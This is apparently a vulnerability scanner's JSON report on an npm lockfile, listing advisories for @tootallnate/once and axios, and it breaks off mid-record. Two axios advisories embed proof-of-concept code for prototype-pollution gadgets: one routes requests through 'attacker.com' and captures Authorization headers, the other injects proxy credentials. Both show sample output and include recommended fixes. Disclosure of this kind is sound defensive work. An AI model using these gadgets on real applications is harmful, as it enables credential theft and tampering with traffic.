7177 lines
384 KiB
JSON
7177 lines
384 KiB
JSON
{
|
||
"results": [
|
||
{
|
||
"source": {
|
||
"path": "/src/package-lock.json",
|
||
"type": "lockfile"
|
||
},
|
||
"packages": [
|
||
{
|
||
"package": {
|
||
"name": "@tootallnate/once",
|
||
"version": "2.0.0",
|
||
"ecosystem": "npm"
|
||
},
|
||
"dependency_groups": [
|
||
"optional"
|
||
],
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-vpq2-c234-7xj6"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-3449",
|
||
"GHSA-vpq2-c234-7xj6"
|
||
],
|
||
"max_severity": "3.3"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vpq2-c234-7xj6/GHSA-vpq2-c234-7xj6.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "@tootallnate/once",
|
||
"purl": "pkg:npm/%40tootallnate%2Fonce"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "3.0.0"
|
||
},
|
||
{
|
||
"fixed": "3.0.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vpq2-c234-7xj6/GHSA-vpq2-c234-7xj6.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "@tootallnate/once",
|
||
"purl": "pkg:npm/%40tootallnate%2Fonce"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "2.0.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-3449"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-705"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-03-04T20:15:03Z",
|
||
"nvd_published_at": "2026-03-03T05:17:25Z",
|
||
"severity": "LOW"
|
||
},
|
||
"details": "Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.",
|
||
"id": "GHSA-vpq2-c234-7xj6",
|
||
"modified": "2026-05-21T17:00:10.191752857Z",
|
||
"published": "2026-03-03T06:31:14Z",
|
||
"references": [
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3449"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/TooTallNate/once/issues/8"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/TooTallNate/once/commit/b9f43cc5259bee2952d91ad3cdbd201a82df448a"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/TooTallNate/once"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/TooTallNate/once/releases/tag/v2.0.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://security.snyk.io/vuln/SNYK-JS-TOOTALLNATEONCE-15250612"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-5jrv-6f42-c3ph"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "@tootallnate/once vulnerable to Incorrect Control Flow Scoping"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "axios",
|
||
"version": "1.15.2",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-35jp-ww65-95wh"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44494",
|
||
"GHSA-35jp-ww65-95wh"
|
||
],
|
||
"max_severity": "8.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-654m-c8p4-x5fp"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44489",
|
||
"GHSA-654m-c8p4-x5fp"
|
||
],
|
||
"max_severity": "3.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-777c-7fjr-54vf"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44488",
|
||
"GHSA-777c-7fjr-54vf"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-898c-q2cr-xwhg"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44490",
|
||
"GHSA-898c-q2cr-xwhg"
|
||
],
|
||
"max_severity": "4.8"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-hfxv-24rg-xrqf"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44496",
|
||
"GHSA-hfxv-24rg-xrqf"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-j5f8-grm9-p9fc"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44486",
|
||
"GHSA-j5f8-grm9-p9fc"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-p92q-9vqr-4j8v"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44487",
|
||
"GHSA-p92q-9vqr-4j8v"
|
||
],
|
||
"max_severity": "8.2"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-pjwm-pj3p-43mv"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44492",
|
||
"GHSA-pjwm-pj3p-43mv"
|
||
],
|
||
"max_severity": "8.6"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-35jp-ww65-95wh/GHSA-35jp-ww65-95wh.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.0.0"
|
||
},
|
||
{
|
||
"fixed": "1.16.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44494"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-441",
|
||
"CWE-1321"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-29T16:04:00Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** — intercepting, reading, and modifying all HTTP traffic including authentication credentials.\n\nThe HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Axios defaults**, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes **all** HTTP requests through the attacker's proxy server.\n\nUnlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has **zero constraints** — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.\n\n**Severity:** Critical (CVSS 9.4)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/adapters/http.js` (config property access on merged object)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-441:** Unintended Proxy or Intermediary ('Confused Deputy')\n\n## CVSS 3.1\n\n**Score: 9.4 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | MITM within the application's network context |\n| Confidentiality | **High** | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |\n| Integrity | **High** | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. **No constraints** — unlike `transformResponse` which must return `true` |\n| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |\n\n\n### Why This Bypasses mergeConfig\n\nThe critical difference from `transformResponse`: the `proxy` property is **not in defaults** (`lib/defaults/index.js` does not set `proxy`). This means:\n\n1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` — `proxy` is NOT in this set\n2. `defaultToConfig2` for `proxy` is never called\n3. The merged config has **no own `proxy` property**\n4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain\n5. `Object.prototype.proxy` is found → used by `setProxy()`\n\nThis is a **more direct attack path** than `transformResponse` because it doesn't even go through `mergeConfig`'s merge logic — it completely bypasses it.\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.proxy = {\n host: 'attacker.com',\n port: 8080,\n protocol: 'http',\n};\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer — no proxy configured\nconst response = await axios.get('https://api.internal.corp/secrets', {\n auth: { username: 'svc-account', password: 'prod-key-abc123!' }\n});\n```\n\n### 3. The Execution\n\nAt `http.js:668-670`:\n```javascript\nsetProxy(\n options,\n config.proxy, // ← traverses prototype chain → finds polluted proxy\n protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path\n);\n```\n\n`setProxy()` at `http.js:191-239` then:\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }\n // ...\n if (proxy) {\n options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'\n options.port = proxy.port; // → 8080\n options.path = location; // → full URL as path\n // ...\n }\n}\n```\n\n### 4. The Impact (Full MITM)\n\nThe attacker's proxy server receives:\n\n```http\nGET http://api.internal.corp/secrets HTTP/1.1\nHost: api.internal.corp\nAuthorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==\nUser-Agent: axios/1.15.0\nAccept: application/json, text/plain, */*\n```\n\nThe `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker:\n- **Sees** every request URL, header, and body\n- **Modifies** every response (inject malicious data, change auth results)\n- **Logs** all API keys, session tokens, and passwords\n- Operates as an **invisible** proxy — the developer has no indication\n\n### 5. Verified PoC Code\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Attacker's proxy server\nconst intercepted = [];\nconst proxyServer = http.createServer((req, res) =\u003e {\n intercepted.push({\n url: req.url,\n authorization: req.headers.authorization,\n headers: req.headers,\n });\n res.writeHead(200, { 'Content-Type': 'application/json' });\n res.end('{\"hijacked\":true}');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Real target server\nconst realServer = http.createServer((req, res) =\u003e {\n res.writeHead(200);\n res.end('{\"data\":\"real\"}');\n});\nawait new Promise(r =\u003e realServer.listen(0, r));\nconst realPort = realServer.address().port;\n\n// Prototype pollution\nObject.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };\n\n// \"Safe\" request — goes through attacker's proxy\nconst resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {\n auth: { username: 'admin', password: 'SuperSecret123!' }\n});\n\nconsole.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');\nconsole.log('Intercepted Authorization:', intercepted[0]?.authorization);\n// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)\n\ndelete Object.prototype.proxy;\nrealServer.close();\nproxyServer.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n Response source: real server\n response.data: {\"data\":\"from-real-server\"}\n Proxy intercept count: 0\n\n[2] Prototype Pollution: Object.prototype.proxy\n Set: Object.prototype.proxy = { host: \"127.0.0.1\", port: 50879 }\n\n[3] Request after pollution (same code, same URL):\n Response source: ATTACKER PROXY!\n response.data: {\"data\":\"from-attacker-proxy\",\"hijacked\":true}\n\n[4] Data intercepted by attacker's proxy:\n Full URL: http://127.0.0.1:50878/api/secrets\n Host: 127.0.0.1:50878\n Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\n All headers: {\n \"accept\": \"application/json, text/plain, */*\",\n \"user-agent\": \"axios/1.15.0\",\n \"accept-encoding\": \"gzip, compress, deflate, br\",\n \"host\": \"127.0.0.1:50878\",\n \"authorization\": \"Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\",\n \"connection\": \"keep-alive\"\n }\n\n[5] Attacker capabilities demonstrated:\n ✓ Full URL visible (including internal hostnames)\n ✓ Authorization header visible (Base64-encoded credentials)\n ✓ Can modify/forge response data\n ✓ Affects ALL axios HTTP requests (not just a single instance)\n ✓ No assertOptions constraints (unlike transformResponse gadget)\n```\n\n## Impact Analysis\n\n- **Full Credential Interception:** Every HTTP request's `Authorization` header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.\n- **Arbitrary Response Tampering:** The attacker can return any response data — no constraints like `transformResponse`'s \"must return true\".\n- **Internal Network Reconnaissance:** The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.\n- **Universal Scope:** Affects every axios HTTP request in the application, including all third-party libraries that use axios.\n- **Invisible Attack:** The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.\n\n### Why This Is More Severe Than transformResponse (axios_26)\n\n| Dimension | transformResponse Gadget | **proxy Gadget** |\n|---|---|---|\n| Data access | `this.auth` + response data | **All headers, auth, body, URL, response** |\n| Response control | Must return `true` | **Arbitrary responses** |\n| Attack visibility | Response becomes `true` (suspicious) | **Normal-looking responses (invisible)** |\n| mergeConfig involvement | Goes through defaultToConfig2 | **Bypasses mergeConfig entirely** |\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` when reading security-sensitive config properties\n\n```javascript\n// In lib/adapters/http.js\nconst proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;\nsetProxy(options, proxy, location);\n```\n\n### Fix 2: Enumerate all properties not in defaults and apply `hasOwnProperty`\n\nProperties not in defaults that are read by http.js and have security impact:\n- `config.proxy` — MITM\n- `config.socketPath` — Unix socket SSRF\n- `config.transport` — request hijack\n- `config.lookup` — DNS hijack\n- `config.beforeRedirect` — redirect manipulation\n- `config.httpAgent` / `config.httpsAgent` — agent injection\n\nAll should use `hasOwnProperty` checks.\n\n### Fix 3: Use null-prototype object for merged config\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-441: Unintended Proxy](https://cwe.mitre.org/data/definitions/441.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified — full MITM confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
|
||
"id": "GHSA-35jp-ww65-95wh",
|
||
"modified": "2026-06-01T20:14:14.212542311Z",
|
||
"published": "2026-05-29T16:04:00Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://github.com/advisories/GHSA-fvcv-3m26-pcqx"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/axios/axios"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-8qq4-98gv-pwj5"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-654m-c8p4-x5fp/GHSA-654m-c8p4-x5fp.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.15.2"
|
||
},
|
||
{
|
||
"fixed": "1.16.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
],
|
||
"versions": [
|
||
"1.15.2"
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44489"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-113",
|
||
"CWE-1321"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-29T15:51:02Z",
|
||
"nvd_published_at": null,
|
||
"severity": "LOW"
|
||
},
|
||
"details": "# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2\n\n## Summary\n\nThe `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain.\n\nThe `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** 1.15.2 (and potentially 1.15.1)\n**Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\n## CVSS 3.1\n\n**Score: 5.6 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the proxy authentication context |\n| Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) |\n| Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |\n| Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail |\n\n### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)\n\n| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |\n|---|---|---|\n| Precondition | **None** — all requests affected | Must have `config.proxy` set |\n| `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable |\n| `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** |\n| Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected |\n| Impact scope | Universal — every axios request | Only requests with explicit proxy config |\n\n## This Is a Patch Bypass\n\nThis vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc.\n\nHowever, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object.\n\n| Layer | Protection | Status |\n|---|---|---|\n| `config` (top-level) | `Object.create(null)` | ✓ Fixed |\n| `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** |\n| `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** |\n\n## Root Cause Analysis\n\n### Step 1: `utils.merge()` creates plain `{}` for nested objects\n\n**File:** `lib/utils.js`, line 406\n\n```javascript\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = {}; // ← Plain object with Object.prototype!\n // ...\n}\n```\n\nWhen `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`.\n\n### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`\n\n**File:** `lib/adapters/http.js`, lines 209-223\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n if (proxy.username) { // ← traverses Object.prototype!\n proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n }\n\n if (proxy.auth) { // ← traverses Object.prototype!\n const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);\n if (validProxyAuth) {\n proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n }\n // ...\n const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');\n options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!\n }\n // ...\n }\n}\n```\n\n### Complete Attack Chain\n\n```\nObject.prototype.username = 'attacker'\nObject.prototype.password = 'stolen-creds'\n │\n ▼\n User config: { proxy: { host: 'proxy.corp', port: 8080 } }\n │\n ▼\n mergeConfig() → utils.merge() → new plain {}\n config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)\n config.proxy inherits from Object.prototype (has .username, .password)\n │\n ▼\n setProxy() at http.js:209:\n proxy.username → 'attacker' (from Object.prototype) → truthy!\n proxy.auth = 'attacker' + ':' + 'stolen-creds'\n │\n ▼\n http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Injected into EVERY proxied HTTP request!\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Proxy server logs received Proxy-Authorization\nconst proxyServer = http.createServer((req, res) =\u003e {\n console.log('Proxy-Authorization:', req.headers['proxy-authorization']);\n res.writeHead(200);\n res.end('OK');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Target server\nconst target = http.createServer((req, res) =\u003e { res.writeHead(200); res.end(); });\nawait new Promise(r =\u003e target.listen(0, r));\n\n// Simulate prototype pollution from vulnerable dependency\nObject.prototype.username = 'attacker';\nObject.prototype.password = 'stolen-creds';\n\n// Developer sets proxy WITHOUT auth — expects no auth header\nawait axios.get(`http://127.0.0.1:${target.address().port}/api`, {\n proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },\n});\n\n// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n// Decoded: attacker:stolen-creds\n\ndelete Object.prototype.username;\ndelete Object.prototype.password;\nproxyServer.close();\ntarget.close();\n```\n\n## Reproduction Environment\n\n```\nAxios version: 1.15.2 (latest patched release)\nNode.js version: v20.20.2\nOS: macOS Darwin 25.4.0\n```\n\n## Reproduction Steps\n\n```bash\n# 1. Install axios 1.15.2\nnpm pack axios@1.15.2\ntar xzf axios-1.15.2.tgz \u0026\u0026 mv package axios-1.15.2\ncd axios-1.15.2 \u0026\u0026 npm install\n\n# 2. Save PoC as poc.mjs (code from Section 7 above)\n\n# 3. Run\nnode poc.mjs\n```\n\n## Verified PoC Output\n\n```\n=== Axios 1.15.2: PP → Proxy-Authorization Injection ===\n\n[1] Normal request with proxy (no auth):\n Proxy-Authorization: none\n\n[2] Prototype Pollution: Object.prototype.username = \"attacker\"\n Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Decoded: attacker:stolen-creds\n → PP injected proxy credentials: attacker:stolen-creds\n\n[3] Impact:\n ✗ Attacker injects Proxy-Authorization into all proxied requests\n ✗ If proxy logs auth, attacker credential appears in proxy logs\n ✗ If proxy authenticates based on this, attacker controls proxy identity\n ✗ Works on 1.15.2 despite null-prototype config fix\n ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype\n```\n\n### Confirming the Bypass Mechanism\n\n```\nDirect PP (config.proxy) — BLOCKED by 1.15.2:\n Object.prototype.proxy = { host: 'evil' }\n config.proxy = undefined ← null-prototype blocks ✓\n\nNested PP (proxy.username) — BYPASSES 1.15.2:\n Object.prototype.username = 'attacker'\n config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties\n config.proxy own keys: ['host', 'port'] ← username NOT own\n config.proxy.username = 'attacker' ← inherited from Object.prototype!\n hasOwn(config.proxy, 'username') = false\n```\n```\n\n## Impact Analysis\n\n- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.\n- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record \"attacker\" instead of the real user, enabling audit trail manipulation.\n- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.\n- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.\n\n### Prerequisite\n\n- Application must use `config.proxy` (explicit proxy configuration)\n- A separate prototype pollution vulnerability must exist in the dependency tree\n- `Object.prototype.username` or `Object.prototype.auth` must be polluted\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` in `setProxy()`\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n const hasOwn = (obj, key) =\u003e Object.prototype.hasOwnProperty.call(obj, key);\n\n if (hasOwn(proxy, 'username')) {\n proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n }\n\n if (hasOwn(proxy, 'auth')) {\n // ... existing auth handling ...\n }\n }\n}\n```\n\n### Fix 2: Use null-prototype objects in `utils.merge()`\n\n```javascript\n// lib/utils.js line 406\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = Object.create(null); // ← null-prototype for nested objects too\n // ...\n}\n```\n\n### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`\n\n## References\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)",
|
||
"id": "GHSA-654m-c8p4-x5fp",
|
||
"modified": "2026-06-01T18:14:14.653550483Z",
|
||
"published": "2026-05-29T15:51:02Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/axios/axios"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-7vg9-5766-fmwh"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
